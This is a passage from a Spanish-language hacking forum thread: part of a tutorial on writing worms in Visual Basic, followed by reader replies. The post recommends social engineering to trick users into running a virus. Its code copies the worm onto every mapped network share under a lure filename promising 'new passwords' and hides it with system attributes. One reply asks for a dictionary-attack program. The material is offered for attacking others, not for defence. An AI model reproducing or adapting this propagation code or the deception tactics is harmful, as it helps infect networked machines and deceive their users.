    Estas son las tecnicas mas usadas, pos supuesto que en todas intentaremos llegar a un usuario y convencerlo de que ejecute el virus para que se infecte. Hoy en dia es necesario aplicar mucho la ingenieria social para logra que un usuario ejecute un virus, no abundan los bug’s como aquellos que existian en IE y nos permitian ejecutar un fichero con solo viasulizar la pagina. O implantarle el virus en un lugar para que se ejecute al proximo reinicio. Ahora nos debemos basar en fraces elegantes y convincentes que le den confianza al usuario al que se lo enviamos para lograr infectarlo.


    Codigo funete: Copiarnos en carpeta compartida por un red LAN:

    [code=vb]
    'Declaracion de variables
    Dim gn As Object
    Dim Ttl As Integer
    Dim Drvl: Dim Gdrv
    'Creacion del objeto WScript.Network
    Set gn = CreateObject("WScript.Network")
    'Enumeramos las pc’s
    Set Gdrv = gn.EnumNetworkDrives
    Ttl = Gdrv.Count – 1
    'si existe alguna red compartida
    If Ttl <> 0 Then
    Vamos de una en una
    For i = 1 To Ttl
    'Obtenemos su nombre
    Drvl = Gdrv(i)
    'si existe
    If Drvl <> "" Then
    'Nos copiamos a su comparticion de archivos con un nombre medio feo, pero bue..
    FileCopy Mc, Drvl & "\CONTRASE&#209;AS NUEVAS (Comprimidas con upx).exe"
    'Le damos atributos especiales al archivo.
    SetAttr Drvl & "\CONTRASE&#209;AS NUEVAS (Comprimidas con upx).exe", vbReadOnly + vbSystem
    End If
    Next
    End If
    [/code]

    Bueno, espero poder terminar pronto el articulo sobre la propagacion por Messeger para dejarlo a su disposici&#243;n, pero ando con poco tiempo, espero sepan disculpar.
    En fin, aqu&#237; termina nuestra tercera parte, vean que vamos avanzando mucho, y que podemos registrar e infectar el virus en un sistema y ademas ahora ya sabemos como podemos propagarnos. Es primordial que busquen informaci&#243;n en google todos los dias sobre cosas nuevas, es lo que lo lleva a uno a saber mas y mas…
    Se que este tutorial anda medio cortado y son peque&#241;os, pero les aseguro que les servira a los que recien comienzan

    Aqui les dejo el prometido link http://foro.el-hacker.com/index.php/topic,120025.0.html , ah quedado completito

    Salu2!

  4. #4
    xXossottoXx
    Guest

    Predeterminado Re: Programacion basica de gusanos en Visual Basic

    jejeje ... Gracias!!!

  5. #5

    Predeterminado Re: Programacion basica de gusanos en Visual Basic

    no entendi el codigo re la LAN

  6. #6
    federicooooo
    Guest

    Predeterminado Re: Programacion basica de gusanos en Visual Basic

    me gustó mucho, saben donde puedo encontrar algo similar para un programa de ataque por diccionario
    pd hay un tipo en

    Dim CarpteaTemp As String ' para el directorio Temp

  7. #7

    Predeterminado Re: Programacion basica de gusanos en Visual Basic

    Cita Iniciado por pato21
    no entendi el codigo re la LAN
    ¿Qué no entiendes exactamente? Está bastante claro y comentado

    Cita Iniciado por federicooooo
    me gustó mucho, saben donde puedo encontrar algo similar para un programa de ataque por diccionario
    pd hay un tipo en

    Dim CarpteaTemp As String ' para el directorio Temp
    ¿Ataque por diccionario? Abre un nuevo post, esto es para la programación de worms.

    PD: Anydoom gran tutorial
    Y me busco en la memoria el rincon donde perdí la razón
    y la encuentro donde se me perdió cuando dijiste que no.

  8. #8

    Predeterminado Re: Programacion basica de gusanos en Visual Basic

    buen manual , se agradece
    <br /><br />Bloc de Argos<br /><br />Steam Chorizator

  9. #9

    Predeterminado Re: Programacion basica de gusanos en Visual Basic

    Lo he colocado en el post de Virus - Troyanos para que no se pierda con el tiempo.
    Última edición por Fashion; 22-ene-2010 a las 02:48 Razón: Link Actualizado

Temas Similares

  1. Programacion Basica en LPP
    By SMARTGENIUS in forum Programación
    Respuestas: 10
    Último mensaje: 08-dic-2008, 22:08
  2. programacion de USB en Visual Basic
    By nitsugario in forum Visual Basic y Net
    Respuestas: 2
    Último mensaje: 20-may-2007, 22:33
  3. Manual de programacion en visual basic
    By D4rk 5ou1 in forum Visual Basic y Net
    Respuestas: 13
    Último mensaje: 29-jun-2006, 21:37
  4. Respuestas: 0
    Último mensaje: 01-may-2006, 07:15
  5. Controles y clases en Visual Basic, programacin
    By root in forum Programación
    Respuestas: 6
    Último mensaje: 10-abr-2003, 16:02

Normas de Publicación

  • No puedes crear nuevos temas
  • No puedes responder mensajes
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •